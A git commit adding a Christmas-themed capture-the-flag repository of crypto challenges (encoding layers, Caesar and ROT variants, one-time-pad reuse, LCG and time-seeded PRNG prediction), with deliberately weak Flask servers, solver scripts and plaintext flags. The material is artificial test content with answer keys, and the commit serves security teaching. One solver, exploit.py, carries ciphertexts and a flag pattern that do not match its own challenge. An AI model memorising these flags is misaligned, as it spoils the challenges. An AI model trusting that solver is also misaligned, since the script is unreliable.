This commit is contained in:
Ivan Nikolskiy 2026-07-12 20:22:15 +01:00
parent 1dfcc709d5
commit 211e43c1a4
156 changed files with 3564 additions and 1 deletions

BIN
Crypto/.DS_Store vendored Normal file

Binary file not shown.

View File

@ -0,0 +1,11 @@
slug: elfs_base64_cocoa
title: "Elf's Base64 Cocoa"
description: "Elfs wrote a naive multi-encoding wrapper to hide key that opens a secret vault of presents. They swore it's totally secure because it's 'encoded multiple times.' All you found is an encoded blob and a debug log. Can you unwrap it and recover the flag?"
category: "crypto"
points: 200
is_visible: true
complexity: 2
attachments:
- "public/log.txt"
- "public/message.txt"
flag_plaintext: "CTF{b4s364_m4d3_3v3ryth1ng_b3tt3r}"

View File

@ -0,0 +1,5 @@
[wrapper] applying base64
[wrapper] applying rot13
[wrapper] applying hex
[wrapper] applying base64
[wrapper] done

View File

@ -0,0 +1 @@
NDQzMTQ1NTQ3MjMyNTYzMDcwNmQ1YTMyNDE1MzM5Njc0MTU0NDQ2ZDRiNmQ0MTMyNWEzMzU3MzU3MTU0NzQ2YjZmN2E3MTczNGM3NzQxMzA3MTUxNDE2YzczNDQzZDNk

View File

@ -0,0 +1,22 @@
import base64, binascii, codecs, argparse, pathlib
def encode_layers(s: str) -> str:
l1 = base64.b64encode(s.encode()).decode() # base64
l2 = codecs.encode(l1, 'rot_13') # rot13
l3 = binascii.hexlify(l2.encode()).decode() # hex
lf = base64.b64encode(l3.encode()).decode() # base64
return lf
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--flag", required=True,
help="Flag string to wrap.")
ap.add_argument("--out", default="message.txt")
args = ap.parse_args()
out = encode_layers(args.flag)
pathlib.Path(args.out).write_text(out + "\n")
print(out)
if __name__ == "__main__":
main()

View File

@ -0,0 +1,17 @@
import base64, binascii, codecs, pathlib, sys
def solve(s: str) -> str:
l3 = base64.b64decode(s).decode() # undo final base64
l2 = binascii.unhexlify(l3).decode() # undo hex
l1 = codecs.decode(l2, 'rot_13') # undo rot13
flag = base64.b64decode(l1).decode() # undo first base64
return flag
def main():
path = pathlib.Path("message.txt")
data = path.read_text().strip()
flag = solve(data)
print(flag)
if __name__ == "__main__":
main()

View File

@ -0,0 +1,10 @@
slug: santas_salad
title: "Santa's Salad"
description: "Santa loves Caesar salad for lunch, but he is worried that someone might steal his secret recipe. He decided to encrypt it using a simple Caesar cipher. Can you help him recover the recipe?"
category: "crypto"
points: 100
is_visible: true
complexity: 1
attachments:
- "public/ciphertext.txt"
flag_plaintext: "CTF{m4k3_c43s4r_c1ph3r_gr34t_4g41n}"

View File

@ -0,0 +1 @@
FWI{p4n3_f43v4u_f1sk3u_ju34w_4j41q}

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
"""
Utility to generate Caesar-shifted ciphertext for the challenge.
Usage: python3 generate_cipher.py --text "YOUR PLAINTEXT" --shift 3
"""
import argparse
ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def caesar_encrypt(text: str, shift: int) -> str:
out = []
for ch in text:
if ch.isalpha():
is_lower = ch.islower()
base = ch.upper()
idx = ALPHA.index(base)
new_idx = (idx + shift) % 26
new_ch = ALPHA[new_idx]
out.append(new_ch.lower() if is_lower else new_ch)
else:
out.append(ch)
return ''.join(out)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--text', required=True)
parser.add_argument('--shift', type=int, default=3)
args = parser.parse_args()
print(caesar_encrypt(args.text, args.shift))

View File

@ -0,0 +1,28 @@
import string
ALPHA = string.ascii_uppercase
def caesar_decrypt(text: str, shift: int) -> str:
out = []
for ch in text:
if ch.isalpha():
is_lower = ch.islower()
base = ch.upper()
idx = ALPHA.index(base)
new_idx = (idx - shift) % 26
new_ch = ALPHA[new_idx]
out.append(new_ch.lower() if is_lower else new_ch)
else:
out.append(ch)
return ''.join(out)
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
print('Usage: solve.py ciphertext.txt')
sys.exit(1)
with open(sys.argv[1], 'r') as f:
ct = f.read().strip()
for s in range(26):
candidate = caesar_decrypt(ct, s)
print(f"Shift={s}: {candidate}")

View File

@ -0,0 +1,12 @@
slug: crypto_one_time_mistake
title: "One-Time Mistake"
description: "The North Pole Secret Agency uses one-time pads for the highest-value messages — or at least they should. While collecting intercepted traffic, Grinch found two ciphertexts that were, unfortunately, encrypted with the same pad. One message looks like a routine operation report (standard template), the other is labelled “CONFIDENTIAL MESSAGE”. The trafficker clearly made a one-time mistake."
category: "crypto"
points: 900
is_visible: true
complexity: 9
attachments:
- "public/routine_report_template.txt"
- "public/cipher1.hex"
- "public/cipher2.hex"
flag_plaintext: "CTF{n3v3r_r3us3_0n3_t1m3_p4d_k3ys!}"

View File

@ -0,0 +1 @@
d40ae6aa02c70928209e365ae05132bcb8c54492069e62a043e774da72adcdb8a905af89f3685ba3c312ab8090154082d7bf2ab9d38c178415817dd0a6bc3c499f61d20cb407782f62b229d1012ec5ed83cc676fd211634af6e46eec2063ff51e97c46088b19e0e3425871a5b6628a3a0a29f85c566dd63c2711324878d7

View File

@ -0,0 +1 @@
d815edbe0ad705293af72553905325bbe1c062a369e716d70ca4769d6ceda2f8af7a89d4c52c0fb0dd0aea85c24063c3d18a24e9dec516ab70a47bd6abbc795ecb77cf0daf07682760ba319a0138c5fe83d76f6fc43b644fffa879b51270ff52ee56

View File

@ -0,0 +1,6 @@
OPERATION REPORT
Date: [today's date] (format dd-mm-yy)
Unit: [Alpha|Beta|Delta] (one of these)
Subject: Routine status update
Details: All systems operational.
End of report.

View File

@ -0,0 +1,32 @@
#!/usr/bin/env python3
import os, binascii, argparse
def main(flag: str):
p1 = "OPERATION REPORT\nDate: 14-11-2025\nUnit: Alpha\nSubject: Routine status update\nDetails: All systems operational.\nEnd of report.\n"
p2 = f"CONFIDENTIAL MESSAGE\n{flag}\nProceed with exfil.\nRegards,\nField Agent\n"
p1 = p1.encode()
p2 = p2.encode()
L = max(len(p1), len(p2))
key = os.urandom(L)
c1 = bytes([p1[i] ^ key[i] for i in range(len(p1))])
c2 = bytes([p2[i] ^ key[i] for i in range(len(p2))])
print(binascii.hexlify(c1).decode())
print(binascii.hexlify(c2).decode())
# optionally write to cipher1.hex / cipher2.hex
with open("public/cipher1.hex","w+") as f:
f.write(binascii.hexlify(c1).decode())
with open("public/cipher2.hex","w+") as f:
f.write(binascii.hexlify(c2).decode())
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--flag', required=True)
args = parser.parse_args()
print(main(args.flag))

View File

@ -0,0 +1,78 @@
#!/usr/bin/env python3
# exploit.py
# Try date variants and Unit options for the provided OPERATION REPORT template,
# derive key prefix from c1 and decrypt c2. Look for CTF{...}.
import binascii
import re
# Ciphertexts (exact hex strings provided earlier in this conversation)
C1_HEX = "7a4ca3bb8c3a8b4e2f5b399a1ff9b911691c07ed68e0636c0ca1d10c4786c3ad1880e2675a2c9e260072080afdfc80e93141556487fbf8099c54b971b8f6a5ed62954984d943761f6591888032782a8c1a63826a398200ddebf50ac02dbf6287ef744b1b767e95581f9baa8771626496392757be7df4eb9e633630bcb0b4"
C2_HEX = "7653a8af842a874f35322a936ffbae16301921dc078d0a097bd8a646048785ac5fd5c53a462b975971704b3de8c7beaf0c5b0463acaaeb228000b01286e1eafd739159d1dd0a770721958483515061f2296f897871c6329d8d9310dc32af27abfb314a1f19"
c1 = binascii.unhexlify(C1_HEX)
c2 = binascii.unhexlify(C2_HEX)
# Template and choices
date_variants = ["14-11-25", "14-11-2025"] # try both dd-mm-yy and dd-mm-yyyy
units = ["Alpha", "Beta", "Delta"]
def make_p1(date_str: str, unit: str) -> bytes:
"""Construct plaintext candidate for message 1 using the template exactly."""
s = (
"OPERATION REPORT\n"
f"Date: {date_str}\n"
f"Unit: {unit}\n"
"Subject: Routine status update\n"
"Details: All systems operational.\n"
"End of report.\n"
)
return s.encode("utf-8")
def derive_key_prefix_from_p1(c1_bytes: bytes, p1_bytes: bytes) -> bytes:
"""Derive the key prefix by XORing c1 and the candidate p1 bytes where p1 exists."""
L = min(len(c1_bytes), len(p1_bytes))
return bytes([c1_bytes[i] ^ p1_bytes[i] for i in range(L)])
def decrypt_with_key_prefix(c2_bytes: bytes, key_prefix: bytes) -> str:
"""Decrypt the prefix of c2 using the derived key prefix, leave rest unknown as '?'."""
out_chars = []
for i in range(len(c2_bytes)):
if i < len(key_prefix):
out_chars.append(chr(c2_bytes[i] ^ key_prefix[i]))
else:
out_chars.append("?")
return "".join(out_chars)
flag_re = re.compile(r"WITCTF\{[A-Za-z0-9_!@#\$%\^&*\-:.?+=/\\]+\}")
found = False
results = []
for date_str in date_variants:
for unit in units:
p1 = make_p1(date_str, unit)
# if p1 longer than c1, we can still derive prefix (we will take min inside function)
key_pref = derive_key_prefix_from_p1(c1, p1)
dec = decrypt_with_key_prefix(c2, key_pref)
# Search for FLAG
m = flag_re.search(dec)
info = {
"date": date_str,
"unit": unit,
"derived_key_len": len(key_pref),
"decrypted_preview": dec[:300]
}
results.append(info)
print("-" * 72)
print(f"Trying Date='{date_str}' Unit='{unit}' (derived key bytes: {len(key_pref)})")
print("Decrypted preview (unknowns shown as '?'):\n")
print(dec[:300])
if m:
print("\n>>> FLAG FOUND:", m.group(0))
found = True
if not found:
print("\nNo flag found with the tried date/unit combinations.")
else:
print("\nFinished.")

BIN
Crypto/Medium/.DS_Store vendored Normal file

Binary file not shown.

View File

@ -0,0 +1,10 @@
slug: rudolphs_rot_n
title: "Rudolph's Rot-N"
description: "Rudolf encrypts the flag using a ROT cipher, but instead of the normal alphabet, it uses the QWERTY keyboard layout as the rotation order. Recover the original flag by determining the correct shift value."
category: "crypto"
points: 500
is_visible: true
complexity: 5
attachments:
- "public/ciphertext.txt"
flag_plaintext: "CTF{custom_rot_with_keyboard_layout}"

View File

@ -0,0 +1 @@
RDC{rgzdji_sjd_phdb_mafyjlsx_qlfjgd}

View File

@ -0,0 +1,28 @@
# generate.py
# Apply custom ROT encryption using QWERTY alphabet
def rot_custom(text: str, shift: int, alphabet: str = "qwertyuiopasdfghjklzxcvbnm") -> str:
alphabet_lower = alphabet.lower()
alphabet_upper = alphabet.upper()
result = []
for char in text:
if char in alphabet_lower:
idx = (alphabet_lower.index(char) + shift) % len(alphabet_lower)
result.append(alphabet_lower[idx])
elif char in alphabet_upper:
idx = (alphabet_upper.index(char) + shift) % len(alphabet_upper)
result.append(alphabet_upper[idx])
else:
result.append(char)
return "".join(result)
if __name__ == "__main__":
custom_keyboard = "qwertyuiopasdfghjklzxcvbnm"
flag = "CTF{custom_rot_with_keyboard_layout}"
shift = 8
encrypted = rot_custom(flag, shift, custom_keyboard)
print(encrypted)

View File

@ -0,0 +1,27 @@
# solve.py
# Brute-force all possible shifts to recover the plaintext
def rot_custom(text: str, shift: int, alphabet: str = "qwertyuiopasdfghjklzxcvbnm") -> str:
alphabet_lower = alphabet.lower()
alphabet_upper = alphabet.upper()
result = []
for char in text:
if char in alphabet_lower:
idx = (alphabet_lower.index(char) + shift) % len(alphabet_lower)
result.append(alphabet_lower[idx])
elif char in alphabet_upper:
idx = (alphabet_upper.index(char) + shift) % len(alphabet_upper)
result.append(alphabet_upper[idx])
else:
result.append(char)
return "".join(result)
if __name__ == "__main__":
encrypted = "RDC{rgzdji_sjd_phdb_mafyjlsx_qlfjgd}"
custom_keyboard = "qwertyuiopasdfghjklzxcvbnm"
for i in range(26):
print(i, rot_custom(encrypted, i, custom_keyboard))

Binary file not shown.

View File

@ -0,0 +1,13 @@
FROM python:3.11-slim
WORKDIR /app
COPY . /app
RUN pip install flask requests gunicorn
EXPOSE 80
ENV PORT=80
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

View File

@ -0,0 +1,87 @@
#!/usr/bin/env python3
"""
LCG Treasure - Flask app (Crypto CTF)
Generates an LCG with modulus m = 2**32 and picks parameters a,c and initial state x0.
Exposes a challenge page with several consecutive outputs (as unsigned 32-bit integers).
Players must recover a and c (mod 2^32) and predict the next output.
Flag is returned when /flag?token=<next_value> matches the real next value.
This is intentionally weak for CTF learning purposes.
"""
import os
import random
from flask import Flask, render_template, request, abort, jsonify
import struct
app = Flask(__name__)
# modulus
M = 2**32
# configuration
NUM_TOTAL = 6 # total LCG outputs generated (we keep extras)
NUM_OBSERVED = 3 # number of consecutive outputs shown to the player
FLAG_FILE = "flag.txt"
# helper: generate LCG ensuring invertible difference for solver
def generate_lcg_instance():
while True:
# pick odd multiplier (common in LCGs), 32-bit unsigned
a = random.randrange(1, M)
if a % 2 == 0:
a |= 1 # make odd
c = random.randrange(0, M)
x0 = random.randrange(0, M)
seq = [x0]
for i in range(1, NUM_TOTAL):
seq.append((a * seq[-1] + c) % M)
# We need the difference (x1 - x0) to be invertible mod 2^32.
# Inverse exists iff (x1 - x0) is odd (because modulus is power of two).
diff = (seq[1] - seq[0]) % M
if diff & 1 == 1:
# good: solver will be able to compute modular inverse modulo 2^32
return a, c, seq
# initialize once
A, C, SEQ = generate_lcg_instance()
OBSERVED = SEQ[:NUM_OBSERVED]
TARGET = SEQ[NUM_OBSERVED] # token to predict
@app.route("/")
def challenge():
# Present observed tokens as decimal and hex for convenience
obs_pairs = [{"dec": x, "hex": f"0x{x:08x}"} for x in OBSERVED]
return render_template("challenge.html", observed=obs_pairs, note=f"Predict the next 32-bit output (unsigned) after the {NUM_OBSERVED} shown values.")
@app.route("/api/observed")
def api_observed():
obs = [{"dec": x, "hex": f"0x{x:08x}"} for x in OBSERVED]
return jsonify({
"observed": [x for x in OBSERVED],
"observed_hex": [f"0x{x:08x}" for x in OBSERVED],
"note": f"Predict the next 32-bit output (unsigned) after the {NUM_OBSERVED} shown values."
})
@app.route("/flag")
def flag():
token = request.args.get("token", "").strip()
if token == "":
abort(400, "Missing token parameter. Provide unsigned decimal token or 0xhex.")
# accept decimal or hex prefixed by 0x
try:
if token.startswith("0x") or token.startswith("0X"):
val = int(token, 16) & 0xffffffff
else:
val = int(token) & 0xffffffff
except:
abort(400, "Invalid token format.")
if val == TARGET:
if os.path.exists(FLAG_FILE):
with open(FLAG_FILE, "r") as f:
return f.read().strip() + "\n"
else:
return "FLAG_MISSING\n"
else:
abort(403, "Incorrect token.")

View File

@ -0,0 +1,10 @@
#!/bin/bash
set -e
# If FLAG is set, write it to /app/flag.txt
if [ -n "$FLAG" ]; then
echo "$FLAG" > /app/flag.txt
chmod 644 /app/flag.txt
fi
exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app

View File

@ -0,0 +1,12 @@
slug: santas_lcg
title: "Santa's LCG"
description: "Santa's Inteligence Office bragged their “quantum” token generator was unbreakable, but the promo leak reveals consecutive outputs from an old Linear Congruential Generator. Predict the next 32-bit output and submit it to /flag?token= to claim the secret information."
category: "crypto"
points: 800
is_visible: true
complexity: 8
zip: "local"
flag_plaintext: "CTF{lcg_m4d3_1ns3cure_t0k3ns}"
hints:
- text: "The page shows several consecutive 32-bit outputs from an LCG (mod 2^32). Try small integer arithmetic and inspect relations."
penalty_points: 10

View File

@ -0,0 +1,37 @@
#!/usr/bin/env python3
"""
solve.py
Automates fetching observed outputs, recovering LCG params, computing next token,
and requesting /flag?token=<predicted>.
Usage: python3 solve.py http://127.0.0.1:9001
"""
import sys
import requests
from solve_lcg import recover_params, next_value
if len(sys.argv) < 2:
print("Usage: python3 solve.py <base_url>")
sys.exit(1)
base = sys.argv[1].rstrip("/")
api = base + "/api/observed"
r = requests.get(api, timeout=5)
r.raise_for_status()
j = r.json()
observed = j["observed"]
if len(observed) < 3:
print("Need at least 3 observed outputs.")
sys.exit(1)
x0, x1, x2 = [int(x) & 0xffffffff for x in observed[:3]]
a, c = recover_params(x0, x1, x2)
if a is None:
print("Failed to recover parameters; difference was not invertible modulo 2^32.")
sys.exit(1)
nxt = next_value(x2, a, c)
print("[*] Recovered a=0x%08x c=0x%08x" % (a, c))
print("[*] Predicted next token (dec):", nxt)
print("[*] Requesting flag...")
r2 = requests.get(base + "/flag", params={"token": str(nxt)}, timeout=5)
print("[*] Response:", r2.status_code)
print(r2.text)

View File

@ -0,0 +1,60 @@
#!/usr/bin/env python3
"""
solve_lcg.py
Recover LCG parameters a, c modulo 2^32 from three consecutive outputs x0, x1, x2.
Usage:
python3 solve_lcg.py x0 x1 x2
Example:
python3 solve_lcg.py 123 456 789
If successful prints a, c, and the next output.
"""
import sys
M = 2**32
def modinv_pow2(x):
"""
Compute modular inverse of x modulo 2^32 if it exists.
For modulus 2^k, inverse exists iff x is odd.
Uses Newton-Raphson to invert modulo 2^32.
"""
if x % 2 == 0:
return None
# initial inverse mod 2
inv = 1
# Newton iteration: inv = inv*(2 - x*inv) mod 2^n doubles correct bits each step
for _ in range(5): # 2^1 -> 2^32 in 5 iterations (1->2->4->8->16->32)
inv = (inv * (2 - (x * inv) % M)) % M
return inv % M
def recover_params(x0, x1, x2):
diff1 = (x1 - x0) % M
diff2 = (x2 - x1) % M
inv = modinv_pow2(diff1)
if inv is None:
return None, None
a = (diff2 * inv) % M
c = (x1 - (a * x0) % M) % M
return a, c
def next_value(x, a, c):
return (a * x + c) % M
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 solve_lcg.py x0 x1 x2")
sys.exit(1)
x0 = int(sys.argv[1]) & 0xffffffff
x1 = int(sys.argv[2]) & 0xffffffff
x2 = int(sys.argv[3]) & 0xffffffff
a, c = recover_params(x0, x1, x2)
if a is None:
print("Could not invert difference; try different consecutive outputs.")
sys.exit(1)
print("Recovered parameters:")
print("a = 0x%08x (%u)" % (a, a))
print("c = 0x%08x (%u)" % (c, c))
nxt = next_value(x2, a, c)
print("Predicted next (decimal):", nxt)
print("Predicted next (hex): 0x%08x" % nxt)

View File

@ -0,0 +1,108 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Santa's Intelligence Office Token Stream</title>
<style>
body {
margin: 0;
background: #d9f3e1; /* pale Xmas green */
color: #000000;
font-family: Verdana, Arial, sans-serif;
}
.page {
max-width: 800px;
margin: 20px auto;
padding: 12px 16px 18px;
background: #ffffff;
border: 3px solid #c00000; /* Xmas red */
}
.subtitle {
font-size: 11px;
text-transform: uppercase;
letter-spacing: 1px;
color: #006600; /* Xmas green */
margin-bottom: 4px;
}
h1 {
font-size: 20px;
margin: 6px 0 10px;
color: #900000; /* darker red */
}
p {
font-size: 13px;
line-height: 1.4;
margin: 6px 0;
}
.section-title {
font-size: 13px;
font-weight: bold;
margin-top: 14px;
margin-bottom: 4px;
color: #006600;
}
.tokens {
margin: 6px 0 8px;
padding: 8px;
background: #fff8f8; /* subtle red hint */
border: 1px solid #cc9999;
}
.tok {
font-family: "Courier New", monospace;
font-size: 12px;
margin: 2px 0;
}
.hint {
font-size: 12px;
color: #333366;
margin-top: 4px;
}
code {
font-family: "Courier New", monospace;
font-size: 12px;
background: #eef6ee;
padding: 1px 3px;
border: 1px solid #c0d9c0;
}
a {
color: #a00000;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
hr {
border: 0;
border-top: 1px solid #cc9999;
margin: 14px 0 10px;
}
</style>
</head>
<body>
<div class="page">
<div class="subtitle">Santa's Intelligence Office Winter Briefing</div>
<h1>Token Stream Record</h1>
<div class="section-title">Observed 32-bit outputs</div>
<div class="tokens">
{% for t in observed %}
<div class="tok">dec {{ t.dec }}hex {{ t.hex }}</div>
{% endfor %}
</div>
<p class="hint">{{ note }}</p>
<hr>
<div class="section-title">Submission format</div>
<p>
Use: <code>/flag?token=VALUE</code><br>
Decimal or hex (<code>0x...</code>) both accepted.
</p>
<div class="section-title">Machine-readable stream</div>
<p>
<a href="/api/observed"><code>/api/observed</code></a>
</p>
</div>
</body>
</html>

View File

@ -0,0 +1,10 @@
slug: santas_secret_shift
title: "Santa's Secret Shift"
description: "Santa hides the flag using a decreasing-shift Caesar cipher that changes the rotation for every character. Your task is to reverse the shifting pattern to recover the original message."
category: "crypto"
points: 500
is_visible: true
complexity: 5
attachments:
- "public/ciphertext.txt"
flag_plaintext: "CTF{make_caesar_cipher_great_again}"

View File

@ -0,0 +1 @@
BRC{ivex_uruhoe_otzqmy_mwidv_bgzgk}

View File

@ -0,0 +1,29 @@
# generate.py
# Reproduce the shifting process to generate the challenge string
def shift_letter(letter, shift):
start = ord('A') if letter.isupper() else ord('a')
return chr(start + (ord(letter) - start + shift) % 26)
def generate(plaintext):
out = ""
i = 25 # starting shift
for c in plaintext:
if c in ['{', '}', '_']:
# Not shifted — added directly
out += c
continue
# Apply shift and decrease shift counter
out += shift_letter(c, i)
i -= 1
return out
if __name__ == "__main__":
# Example usage:
flag = "CTF{make_caesar_cipher_great_again}"
print(generate(flag))

View File

@ -0,0 +1,26 @@
# solve.py
# Reverse the shifting to recover the original plaintext
def unshift_letter(letter, shift):
start = ord('A') if letter.isupper() else ord('a')
return chr(start + (ord(letter) - start - shift) % 26)
def solve(encoded):
out = ""
i = 25 # starting shift
for c in encoded:
if c in ['{', '}', '_']:
out += c
continue
out += unshift_letter(c, i)
i -= 1
return out
if __name__ == "__main__":
a = 'BRC{ivex_uruhoe_otzqmy_mwidv_bgzgk}'
print(solve(a))

View File

@ -0,0 +1,13 @@
FROM python:3.11-slim
WORKDIR /app
COPY . /app
RUN pip install flask gunicorn
EXPOSE 80
ENV PORT=80
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

View File

@ -0,0 +1,92 @@
#!/usr/bin/env python3
"""
Guess the Seed (Weak PRNG) - CTF challenge server
Behavior:
- On startup the server picks a secret_seed = int(time.time()).
- It generates a short sequence of tokens:
token_i = sha256(str( random.Random(secret_seed + i).getrandbits(64) ).encode()).hexdigest()
for i = 0..N-1
- The server displays observed tokens (first K tokens) and a time window [secret_seed - WINDOW, secret_seed + WINDOW]
for players to brute-force the seed.
- The correct next-token is token_K (the next sequence element).
- Hitting /flag?token=<predicted> returns the flag if predicted matches token_K.
This is intentionally weak for CTF use.
"""
import time
import random
import hashlib
import os
from flask import Flask, jsonify, render_template, request, abort
app = Flask(__name__)
# Configuration
NUM_TOKENS = 5 # total tokens generated on startup
OBSERVED_TOKENS = 3 # number of tokens shown to the player (first K)
WINDOW = 3600 # +/- seconds around secret seed to publish as candidate window (1 hour)
FLAG_FILE = "flag.txt"
# Initialize state on startup
secret_seed = int(time.time())
tokens = []
def make_token_from_seed(s):
"""Generate a token deterministically from a seed (int)."""
rnd = random.Random(int(s))
val = rnd.getrandbits(64)
h = hashlib.sha256(str(val).encode()).hexdigest()
# shorten token to 16 hex chars to be nicer for players
return h[:16]
for i in range(NUM_TOKENS):
t = make_token_from_seed(secret_seed + i)
tokens.append(t)
# target is next token after observed tokens
target_token = tokens[OBSERVED_TOKENS] # token the player must predict
@app.route("/")
def challenge():
"""Return observed tokens and window data (player-facing)."""
start = secret_seed - WINDOW
end = secret_seed + WINDOW
obs = tokens[:OBSERVED_TOKENS]
return render_template("challenge.html",
observed=obs,
window_start=start,
window_end=end,
note=f"{OBSERVED_TOKENS} tokens shown — predict the next token (the {OBSERVED_TOKENS+1}th).")
@app.route("/api/observed")
def api_observed():
"""Machine-readable API returning observed tokens and window."""
start = secret_seed - WINDOW
end = secret_seed + WINDOW
return jsonify({
"observed": tokens[:OBSERVED_TOKENS],
"window_start": start,
"window_end": end,
"note": f"{OBSERVED_TOKENS} tokens shown — predict the next token (the {OBSERVED_TOKENS+1}th)."
})
@app.route("/flag")
def flag():
"""Return flag if token matches the predicted next token."""
t = request.args.get("token", "")
if not t:
abort(400, "Missing token parameter.")
if t == target_token:
if os.path.exists(FLAG_FILE):
with open(FLAG_FILE, "r") as f:
return f.read().strip() + "\n"
else:
return "FLAG_MISSING\n"
else:
abort(403, "Invalid token")
# Simple health endpoint
@app.route("/health")
def health():
return "ok\n"

View File

@ -0,0 +1,11 @@
#!/bin/bash
set -e
# If FLAG is set, write it to /app/flag.txt
if [ -n "$FLAG" ]; then
echo "$FLAG" > /app/flag.txt
chmod 644 /app/flag.txt
fi
exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app

View File

@ -0,0 +1,16 @@
slug: crypto_santas_weak_seed
title: "Santa's Weak Seed"
description: "North Pole Presents Vault token service was supposed to generate short one-time tokens for maintenance tasks. But elfs seeded the PRNG with the system time (seconds) and published a log of a few recent tokens with a rough time window. The attacker intercepted three tokens created in sequence. If you can recover the epoch seed used, you can predict the next token — and that token unlocks presents. Show that predictable seeds and weak PRNG choices can be fatal."
category: "crypto"
points: 700
is_visible: true
complexity: 7
zip: "local"
flag_plaintext: "CTF{prng_s33d_1s_n0t_s0_s3cr3t}"
hints:
- text: "The page gives you a couple of tokens and a numeric epoch window. Try reproducing tokens for different seeds."
penalty_points: 10
- text: "Check seeds in the inclusive window and compare tokens in sequence."
penalty_points: 20
- text: "If found, compute token(s+K) for the next token and request /flag?token=<token>"
penalty_points: 30

View File

@ -0,0 +1,70 @@
#!/usr/bin/env python3
"""
Brute-forcer for Guess the Seed.
Usage:
python3 solve.py http://127.0.0.1:9000
What it does:
- Fetches /api/observed to retrieve observed tokens and the time window
- Brute-forces candidate seeds in the inclusive window to find the seed that
reproduces the observed tokens in order
- Predicts the next token (the required one) and prints it
- Optionally attempts to fetch /flag?token=<predicted> and prints the response
"""
import sys
import requests
import hashlib
import random
import time
def token_from_seed(s):
rnd = random.Random(int(s))
val = rnd.getrandbits(64)
h = hashlib.sha256(str(val).encode()).hexdigest()[:16]
return h
if len(sys.argv) < 2:
print("Usage: python3 solve.py http://host:port")
sys.exit(1)
base = sys.argv[1].rstrip("/")
api = base + "/api/observed"
print("[*] Fetching observed tokens from", api)
r = requests.get(api, timeout=5)
r.raise_for_status()
j = r.json()
observed = j["observed"]
ws = int(j["window_start"])
we = int(j["window_end"])
print("[*] Observed tokens:", observed)
print("[*] Window:", ws, we)
found = False
match_seed = None
# Brute force seed candidates in window
for seed in range(ws, we+1):
ok = True
for idx, obs in enumerate(observed):
cand = token_from_seed(seed + idx)
if cand != obs:
ok = False
break
if ok:
match_seed = seed
print("[+] Found matching seed:", seed)
found = True
break
if not found:
print("[-] No seed found in window.")
sys.exit(1)
pred = token_from_seed(match_seed + len(observed))
print("[*] Predicted next token:", pred)
# Attempt to fetch flag
flag_url = f"{base}/flag?token={pred}"
print("[*] Requesting flag from:", flag_url)
r2 = requests.get(flag_url, timeout=5)
print("[*] Response:", r2.status_code)
print(r2.text)

View File

@ -0,0 +1,121 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Presents Vault Seed Leak — Challenge</title>
<style>
body {
margin: 0;
background: #d9f3e1; /* pale Xmas green */
color: #000000;
font-family: Verdana, Arial, sans-serif;
}
.page {
max-width: 800px;
margin: 20px auto;
padding: 12px 16px 18px;
background: #ffffff;
border: 3px solid #c00000; /* Xmas red */
}
.subtitle {
font-size: 11px;
text-transform: uppercase;
letter-spacing: 1px;
color: #006600;
margin-bottom: 4px;
}
h1 {
font-size: 20px;
margin: 6px 0 10px;
color: #900000;
}
h2, h3 {
font-size: 15px;
margin: 10px 0 6px;
color: #006600;
}
p {
font-size: 13px;
line-height: 1.4;
margin: 6px 0;
}
.tokens {
margin: 6px 0 8px;
padding: 8px;
background: #fff8f8;
border: 1px solid #cc9999;
}
.token {
font-family: "Courier New", monospace;
font-size: 12px;
margin: 2px 0;
display: inline-block;
}
.hint {
font-size: 12px;
color: #333366;
margin-top: 4px;
}
.muted {
font-size: 12px;
color: #555555;
}
code {
font-family: "Courier New", monospace;
font-size: 12px;
background: #eef6ee;
padding: 1px 3px;
border: 1px solid #c0d9c0;
}
a {
color: #a00000;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
hr {
border: 0;
border-top: 1px solid #cc9999;
margin: 12px 0 10px;
}
</style>
</head>
<body>
<div class="page">
<div class="subtitle">North Pole Presents Vault</div>
<h1>Presents Vault Seed Leak</h1>
<p>
The token service used for maintenance tasks was seeded with the system time (seconds).
Three one-time tokens were intercepted in sequence. A rough time window is known.
</p>
<h2>Observed tokens</h2>
<p class="hint">{{ note }}</p>
<div class="tokens">
{% for t in observed %}
<div class="token">{{ t }}</div><br/>
{% endfor %}
</div>
<h3>Time window (epoch seconds)</h3>
<div class="tokens">
<span class="token">{{ window_start }}</span> &nbsp;&nbsp;
<span class="token">{{ window_end }}</span>
</div>
<p class="hint">
Find the exact seed (an epoch second in this window) that reproduces the tokens in order,
then compute the next token and request <code>/flag?token=THE_TOKEN</code>.
</p>
<hr>
<h3>Machine-readable data</h3>
<p class="muted">
<a href="/api/observed"><code>/api/observed</code></a>
</p>
</div>
</body>
</html>

BIN
Misc/.DS_Store vendored Normal file

Binary file not shown.

BIN
Misc/Easy/.DS_Store vendored Normal file

Binary file not shown.

BIN
Misc/Easy/Magic Route/.DS_Store vendored Normal file

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

View File

@ -0,0 +1,16 @@
slug: magic_route
title: "Magic Route"
description: >
Santa tried to send you a festive picture, but something went wrong on the way — the “magic route” flipped a few bits in transit.
You are given a corrupted PNG file that most viewers refuse to open. Your task is to repair the file so you can see the hidden image.
category: "misc"
points: 500
is_visible: true
complexity: 5
attachments:
- "public/picture.png"
flag_plaintext: "CTF{m4g1c_byt3s_c0rrupt10n}"
hints:
- text: "Maybe the “magic number” at the start of the file isn't so magical anymore?"
penalty_points: 20

Binary file not shown.

View File

@ -0,0 +1,99 @@
#!/usr/bin/env python3
import argparse
from pathlib import Path
# Correct PNG magic number/signature
PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
